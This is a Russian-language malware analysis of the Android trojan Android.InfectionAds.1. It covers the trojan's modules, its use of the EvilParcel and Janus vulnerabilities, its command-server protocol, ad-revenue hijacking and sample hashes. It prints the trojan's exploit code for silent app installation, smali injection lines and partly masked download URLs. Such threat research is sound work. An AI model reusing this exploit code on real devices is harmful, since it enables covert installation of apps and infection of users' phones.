Android.InfectionAds.1 — троянец, работающий на устройствах под управлением ОС Android. Он эксплуатирует несколько критических уязвимостей, с использованием которых заражает apk-файлы и самостоятельно устанавливает другие приложения. Кроме того, Android.InfectionAds.1 показывает рекламу. Злоумышленники внедряют троянца в изначально безобидные программы, которые затем распространяют через сторонние каталоги и сборники ПО для Android. Дальнейшее описание основано на анализе одной из модификаций вредоносного приложения (dd82f232cf647463720d54b44917a218a6ddfefa).
Структура троянца
Структура Android.InfectionAds.1 показана на следующей схеме:
Вредоносные модули:
- resa.data.encry — apk-файл, содержащий копию Android.InfectionAds.1 вместе с его плагинами;
- adsdk.zip — основной модуль, который управляет остальными компонентами троянца и выполняет все вредоносные действия;
- patch.zip — модуль, который используется для модификации (заражения) атакуемых приложений;
- boot.zip — модуль, который встраивается в другие программы при их заражении;
- bak.zip — модуль, выполняющий ассемблирование/дизассемблирование кода smali/backsmali в атакуемых приложениях;
- ad.zip — рекламный модуль.
Начало работы
Запуск троянца происходит при вызове метода startSDKInit(Application) класса com.android.support.multidex.MultiDexApplication, который обычно вызывается в классе Application Android-приложений. В некоторых версиях Android.InfectionAds.1 этот метод вызывается с использованием рефлексии.
Троянец расшифровывает хранящийся в его файловых ресурсах архив /assets/resa.data.encry, извлекает из него модули adsdk.zip (/assets/DIsplay2.jpg) и patch.zip (/assets/DIsplay3.jpg) и загружает их в оперативную память.
Затем с использованием рефлексии он пытается вызвать следующие методы:
- com.infectionAds.AdsManagement.init(Application);
- com.StatisticsSdk.AliUtil.init(Application);
- com.infectionapk.patchMain(Context).
В рассматриваемом экземпляре Android.InfectionAds.1 присутствует только метод com.infectionAds.AdsManagement.init(Application). Он реализован в основном вредоносном модуле adsdk.zip. После вызова метода троянец выполняет следующие действия:
- запускает рекламный модуль;
- устанавливает приложение, которое расположено в /assets;
- загружает и устанавливает приложения по команде сервера;
- проверяет наличие на устройстве уже инфицированных им приложений;
- отправляет Intent на запуск доступных сервисов инфицированных приложений;
- заражает приложения, указанные в команде управляющего сервера (если подключиться к серверу не удалось, заражаются программы из списка по умолчанию).
Автоматическая установка приложений
Android.InfectionAds.1 способен устанавливать приложения без участия пользователя. Для этого троянец использует критическую уязвимость Android CVE-2017-13315, которая относится к классу уязвимостей EvilParcel. Она реализована с использованием демонстрационного кода (Proof of Concept), созданного исследователями по информационной безопасности.
Android.InfectionAds.1 регистрирует в файле AndroidManifest.xml сервис аутентификации аккаунтов:
<service android:name="com.android.leech.main.service.AuthService">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data android:name="android.accounts.AccountAuthenticator" android:resource="@xml/authenticator" />
</service>
Тип аутентифицируемых аккаунтов прописывается в файле authenticator.xml:
<?xml version="1.0" encoding="UTF-8"?>
<account-authenticator android:accountType="com.ovilex.fs18.account100" android:label="@string/app_name" xmlns:android=" />
Android.InfectionAds.1 создает специальным образом сформированный объект Bundle, с использованием которого эксплуатирует уязвимость EvilParcel и повышает свои полномочия. Он помещает в него Intent, запускающий активность менеджера пакетов. Троянец передает в эту активность специальные параметры, включая путь к устанавливаемому приложению. Менеджер пакетов обрабатывает троянский Intent как системный и инсталлирует программу.
Код сервиса аутентификации аккаунтов, используемого троянцем:
import android.accounts.AbstractAccountAuthenticator;
import android.accounts.Account;
import android.accounts.AccountAuthenticatorResponse;
import android.accounts.NetworkErrorException;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.IBinder;
public class AuthService extends Service {
class Authenticator extends AbstractAccountAuthenticator {
Authenticator(Context arg1) {
super(arg1);
}
public Bundle addAccount(AccountAuthenticatorResponse arg6, String arg7, String arg8, String[] arg9, Bundle arg10) throws NetworkErrorException {
Bundle v0;
if(arg10 == null) {
v0 = null;
}
else {
v0 = null;
String v1 = arg10.getString("bundle_type");
if("type_install".equals(v1)) {
v0 = Installer.createInstallBundle(arg10);
}
else if("type_uninstall".equals(v1)) {
v0 = Installer.createUnInstallBundle(arg10);
}
if(v0 == null) {
return v0;
}
}
return v0;
}
public Bundle confirmCredentials(AccountAuthenticatorResponse arg2, Account arg3, Bundle arg4) throws NetworkErrorException {
return null;
}
public Bundle editProperties(AccountAuthenticatorResponse arg2, String arg3) {
return null;
}
public Bundle getAuthToken(AccountAuthenticatorResponse arg2, Account arg3, String arg4, Bundle arg5) throws NetworkErrorException {
return null;
}
public String getAuthTokenLabel(String arg2) {
return null;
}
public Bundle hasFeatures(AccountAuthenticatorResponse arg2, Account arg3, String[] arg4) throws NetworkErrorException {
return null;
}
public Bundle updateCredentials(AccountAuthenticatorResponse arg2, Account arg3, String arg4, Bundle arg5) throws NetworkErrorException {
return null;
}
}
public AuthService() {
super();
}
public IBinder onBind(Intent arg2) {
return new Authenticator(((Context)this)).getIBinder();
}
}
Код запуска установки приложения:
private void doInstall(Context context, String path, String fakename) {
try {
Intent v3 = new Intent();
v3.addFlags(FLAG_ACTIVITY_NEW_TASK);
v3.addFlags(FLAG_ACTIVITY_NO_HISTORY);
v3.addFlags(FLAG_ACTIVITY_NO_USER_ACTION);
Bundle bundle = new Bundle();
bundle.putString("apk_path", path);
bundle.putString("fake_name", "com.android.vending");
bundle.putString("bundle_type", "type_install");
String acc = "";
if (!TextUtils.isEmpty(getAppMetaData(context, "CORE_ACCOUNT"))) {
acc = context.getPackageName() + ".account100";
}
Log.d(TAG, "Starting activity.....");
context.startActivity(v3.setClassName("android", "android.accounts.ChooseTypeAndAccountActivity").putExtra("allowableAccountTypes", new String[]{acc}).putExtra("addAccountOptions", bundle));
Log.d(TAG, "Done!");
} catch (Throwable v4) {
Log.e(TAG, "Unable to perform installation!", v4);
throw v4;
}
}
Заражение других программ
Android.InfectionAds.1 способен заражать установленные на Android-устройствах программы. Для этого троянец использует уязвимость CVE-2017-13156 (Janus). С ее помощью он добавляет свои компоненты перед целевыми apk-файлами, не изменяя их цифровую подпись. Затем с использованием уязвимости EvilParcel Android.InfectionAds.1 самостоятельно устанавливает инфицированные приложения в качестве их обновления, заменяя оригиналы. Программы сохраняют работоспособность, но при их запуске первым получает управление сам троянец.
Структура приложений после внедрения в них Android.InfectionAds.1:
Исполняемый файл classes.dex из троянского модуля boot.zip содержит классы Application, которые повторяют имена классов атакуемых приложений. Благодаря этому при старте инфицированных программ вызывается троянский класс Application вместо оригинального.
Для запуска модулей, хранящихся в архиве malware zip, Android.InfectionAds.1 задействует модифицированную библиотеку com.android.support.multidex. Вместо оригинального classes.dex инфицированного приложения используется его копия из архива malware.zip.
Заражение программ происходит по команде управляющего сервера http://sdk.android*****.org:8091/api/sdk.ad.requestList. Троянец выполняет запрос вида:
{
"id": ******8365385,
"ver": 1,
"client": {
"host": {
"sdk_ver": 1032,
"sdk_ver_name": "1032",
"channel": "9apps_com.ovilex.fs18",
"type": 20,
"app_id": "cbf7a6fb-4891-3d69-a0fa-7fba57dd230b",
"md5": "cbf7a6fb-4891-3d69-a0fa-7fba57dd230b",
"pkg_name": "com.magnet.torrent.cat",
"app_name": "Google Installer",
"ver_code": 9,
"ver_name": "1.9"
},
"sys": {
"brand": "Sony",
"model": "D6603",
"hardware": "qcom",
"api_level": 23,
"cpu_abi": "armeabi-v7a",
"fingerprint": "Sony\\/D6603\\/D6603:6.0.1\\/23.5.A.1.291\\/2769308465:user\\/release-keys",
"kernel": "Linux version 3.4.0-perf-gc14c2d5 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jun 28 11:15:51 2016",
"sec_patch": "2016-05-01",
"scr_size": "1080x1776",
"mob_id": "16a83ba6-5253-3565-856b-c0bcfdca5f34",
"country": "en_US",
"network": 2,
"gaid": "a31749cc-5228-4eac-aea0-513ed2bf86c4"
}
},
"data": {},
"sign": "1B2M2Y8AsgTpgAmY7PhCfg=="
}
В ответ он может получить список приложений, которые ему необходимо заразить. Например:
{
"data": {
"is_patchself": false,
"is_infect": true,
"targets": [
{
"activity": "",
"app_cls": "",
"key": "",
"order": 1,
"pkg_name": "com.whatsapp",
"secret": "",
"text": "",
"title": "",
"type": ""
},
{
"order": 2,
"pkg_name": "com.mxtech.videoplayer.ad"
},
{
"order": 3,
"pkg_name": "com.lenovo.anyshare.gps"
},
{
"activity": "",
"app_cls": "",
"key": "",
"order": 6,
"pkg_name": "cn.xender",
"secret": "",
"text": "",
"title": "",
"type": ""
}
]
},
"id": ******5158718,
"state": {
"msg": "success",
"code": 2000000
}
}
В командах сервера может содержаться параметр "is_patchself": true. Если он присутствует, троянец пытается выполнить патч кода приложения, в которое он встроен. Для этого используются утилиты backsmali/smali, расположенные в модуле bak.zip.
Если сервер недоступен, троянец инфицирует программы из списка по умолчанию. Каждая версия Android.InfectionAds.1 имеет собственный перечень целевых приложений. Например (в версии dd82f232cf647463720d54b44917a218a6ddfefa):
- com.whatsapp (WhatsApp Messenger);
- com.lenovo.anyshare.gps (SHAREit - Transfer & Share);
- com.mxtech.videoplayer.ad (MX Player);
- com.jio.jioplay.tv (JioTV - Live TV & Catch-Up);
- com.jio.media.jiobeats (JioSaavn Music & Radio – including JioMusic);
- com.jiochat.jiochatapp (JioChat: HD Video Call);
- com.jio.join (Jio4GVoice);
- com.good.gamecollection;
- com.opera.mini.native (Opera Mini - fast web browser);
- in.startv.hotstar (Hotstar);
- com.meitu.beautyplusme (PlusMe Camera - Previously BeautyPlus Me);
- com.domobile.applock (AppLock);
- com.touchtype.swiftkey (SwiftKey Keyboard);
- com.flipkart.android (Flipkart Online Shopping App);
- cn.xender (Share Music & Transfer Files – Xender);
- com.eterno (Dailyhunt (Newshunt) - Latest News, LIVE Cricket);
- com.truecaller (Truecaller: Caller ID, spam blocking & call record);
- com.ludo.king (Ludo King™).
Функция загрузки приложений
Для загрузки приложений Android.InfectionAds.1 выполняет POST-запрос к управляющему серверу http://sdk.android*****.org:8091/api/sdk.ad.requestRes:
{
"id": ******8364488,
"ver": 1,
"client": {
"host": {
"sdk_ver": 1032,
"sdk_ver_name": "1032",
"channel": "9apps_com.ovilex.fs18",
"type": 20,
"app_id": "cbf7a6fb-4891-3d69-a0fa-7fba57dd230b",
"md5": "cbf7a6fb-4891-3d69-a0fa-7fba57dd230b",
"pkg_name": "com.magnet.torrent.cat",
"app_name": "Google Installer",
"ver_code": 9,
"ver_name": "1.9"
},
"sys": {
"brand": "Sony",
"model": "D6603",
"hardware": "qcom",
"api_level": 23,
"cpu_abi": "armeabi-v7a",
"fingerprint": "Sony\\/D6603\\/D6603:6.0.1\\/23.5.A.1.291\\/2769308465:user\\/release-keys",
"kernel": "Linux version 3.4.0-perf-gc14c2d5 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jun 28 11:15:51 2016",
"sec_patch": "2016-05-01",
"scr_size": "1080x1776",
"mob_id": "16a83ba6-5253-3565-856b-c0bcfdca5f34",
"country": "en_US",
"network": 2,
"gaid": "a31749cc-5228-4eac-aea0-513ed2bf86c4"
}
},
"data": {
"request_type": 252
},
"sign": "IYnEH9upaOzxds80ky1qAw=="
}
Ответ сервера:
{
"data": {
"reses": [
{
"activity_name": "",
"app_name": "spollo",
"backup_url": "https://**********-2.amazonaws.com/******/coreapp/core_5042.zip",
"bugly_id": "a29646e2da",
"bugly_md5": "asd",
"bugly_sha": "asd",
"bugly_vercode": 5042,
"bugly_vername": "5042",
"feature_type": 1,
"filename": "spollo.apk",
"forceDownload": true,
"force_download": true,
"is_active": true,
"md5": "asd",
"mode": 1,
"pkg_name": "com.spollo.player.pro",
"service_name": "",
"tinker_id": "update.1",
"type": 8,
"ver": 5042
}
]
},
"id": 1550585157842,
"state": {
"msg": "success",
"code": 2000000
}
}
Используя полученные данные, троянец запрашивает загрузку файлов с помощью стороннего SDK. Этот SDK обращается к серверу по адресу http://android.bugly.**.com/rqd/async?aid=*****b1e-5c6a-46*****8a-f87775c00e08, который передает команду на загрузку приложений. Пример ответа сервера, в котором указана ссылка на скачивание одной из модификаций Android.InfectionAds.1 с адреса https://s.beta.gtimg.com/rdmimg/hot_patch/*****6e2da/*****381-1c3b-4736-b8c1-38ab*****f8b.zip:
После загрузки файлов троянец автоматически их устанавливает, эксплуатируя уязвимость CVE-2017-13315.
Показ рекламы
Android.InfectionAds.1 отображает рекламные баннеры поверх окон других приложений и интерфейса операционной системы, мешая работе с устройством. За демонстрацию рекламы отвечает вредоносный модуль ad.zip. После запуска он соединяется с управляющим сервером по адресу http://sdk.android*****.org:8091/api/sdk.ad.requestAds и запрашивает параметры для формирования баннеров. Пример такого запроса:
{
"id":******5698357,
"ver":1,
"client":{
"host":{
"sdk_ver":1032,
"sdk_ver_name":"1032",
"channel":"9apps_com.ovilex.fs18",
"type":20,
"app_id":"95c29dcd-5bf0-32d4-a456-b522a04948fb",
"md5":"95c29dcd-5bf0-32d4-a456-b522a04948fb",
"pkg_name":"com.magnet.torrent.cat",
"app_name":"Google Installer",
"ver_code":9,
"ver_name":"1.9"
},
"sys":{
"brand":"Sony",
"model":"D6603",
"hardware":"qcom",
"api_level":23,
"cpu_abi":"armeabi-v7a",
"fingerprint":"Sony\/D6603\/D6603:6.0.1\/23.5.A.1.291\/2769308465:user\/release-keys",
"kernel":"Linux version 3.4.0-perf-gc14c2d5 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jun 28 11:15:51 2016",
"sec_patch":"2016-05-01",
"scr_size":"1776x1080",
"mob_id":"16a83ba6-5253-3565-856b-c0bcfdca5f34",
"country":"en_US",
"network":2,
"gaid":"a31749cc-5228-4eac-aea0-513ed2bf86c4"
}
},
"data":{
},
"sign":"1B2M2Y8AsgTpgAmY7PhCfg=="
}
В ответ сервер передает троянцу необходимые настройки:
{
"data": {
"ads": [
{
"ad_id": "ca-app-pub-4710775276341168/4902575147",
"ad_type": 1,
"app_id": "ca-app-pub-4710775276341168~5649267333",
"app_secret": "",
"delay_tm": 0,
"enable": true,
"interval_tm": 15,
"limit": 0,
"platform": "GP",
"request_tm": 180,
"scene": 2,
"weight": 7
},
{
"ad_id": "ca-app-pub-4710775276341168/9588512340",
"ad_type": 1,
"app_id": "ca-app-pub-4710775276341168~4719329047",
"delay_tm": 0,
"enable": true,
"interval_tm": 15,
"limit": 0,
"platform": "GP",
"request_tm": 180,
"scene": 2,
"weight": 10
}
]
},
"id": ******5698357,
"state": {
"msg": "success",
"code": 2000000
}
}
Также троянец может модифицировать код рекламных SDK, например, Admob. Для этого Android.InfectionAds.1 изменяет код конструктора <init>(Landroid/content/Context;Ljava/lang/String;)V класса com.google.android.gms.ads.AdLoader.Builder, добавляя в него новый smali-код:
invoke-static {p1,p2}, Lcom/infectionAds/APIPulic;->AdLoader_Builder_init(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/String;
move-result-object p2
Когда зараженное приложение запрашивает параметры для показа рекламы, метод APIPulic.AdLoader_Builder_init(Object, Object) возвращает рекламный ID троянца. Затем оригинальный рекламный идентификатор замещается троянским. В результате вся прибыль от показа баннеров поступает не разработчикам инфицированных программ, а вирусописателям.
Android.InfectionAds.1 добавляет в код нескольких сервисов вызов своего метода APIPulic.onStartCommand(Object, Object, int, int), в котором запрашиваются новые рекламные идентификаторы. Изменения вносятся в следующие классы:
- com.google.android.gms.analytics.AnalyticsService;
- com.google.android.gms.analytics.CampaignTrackingService;
- com.google.firebase.iid.zzb.
Кроме того, троянец вмешивается в работу других рекламных платформ – например, Mopub.
Образцы вредоносных файлов
Зараженные приложения:
- 4cdf13c50bcf7b7b11ea20b91b2d15356e044f1f – com.Mobiappsfun.TablaaORG2019.ORGPianoGuitarRobabDigitalmusicApp – Android.InfectionAds.1
- dd82f232cf647463720d54b44917a218a6ddfefa – com.ovilex.fs18 – Android.InfectionAds.1
- 97fc5ed669aa0cfeb58c76c59ebafd665c6de9f6 – com.king.touchongirls.plus – Android.InfectionAds.1
- 2bda50e97b0c372fcfb479f906bed6ae6172263c – com.samtexlab.dkhdkamera.pro – Android.InfectionAds.1
Троянские модули, входящие в состав:
-
res.data.encry (устанавливаются как отдельные приложения):
- 46e01d16d0799ee8ad36fbdeb13fc7ef8dc99710 – com.magnet.torrent.cat – Android.InfectionAds.3
- 82e5651e2f8f0b868e030db7a0169f36a458b5ff – com.caynax.alarmclock – Android.InfectionAds.4
- 42c45ee564ff50d2e3998f1ba09acb8a7fdb06ec – com.android.google.coreappx – Android.InfectionAds.1
- 46998d33654cdb600ae4d807efb1fd5b98985dfc – com.king.fiveroad – Android.InfectionAds.1
Другие троянские модули:
- fbea328adfa1355159e5e590fa1e929c0524a0e5 – boot.zip (/assets/DIsplay1.jpg) – Android.InfectionAds.1
- 4ccfbaf42c44a7a92d7ed574c3547d2fc174458a – adsdk.zip (/assets/DIsplay2.jpg) – Android.InfectionAds.1
- dc8776e132e11984e9be58e3bd5878641eb06274 – patch.zip (/assets/DIsplay3.jpg) – Android.InfectionAds.3.origin
- 79cde09d6b7b44c27852f189676289749ad2d115 – bak.zip (/assets/DIsplay4.jpg)
- 2e2c8e59eeaaadab3de355dcaa43c287c161ea68 – ad.zip (/assets/DIsplay5.jpg) – Android.InfectionAds.2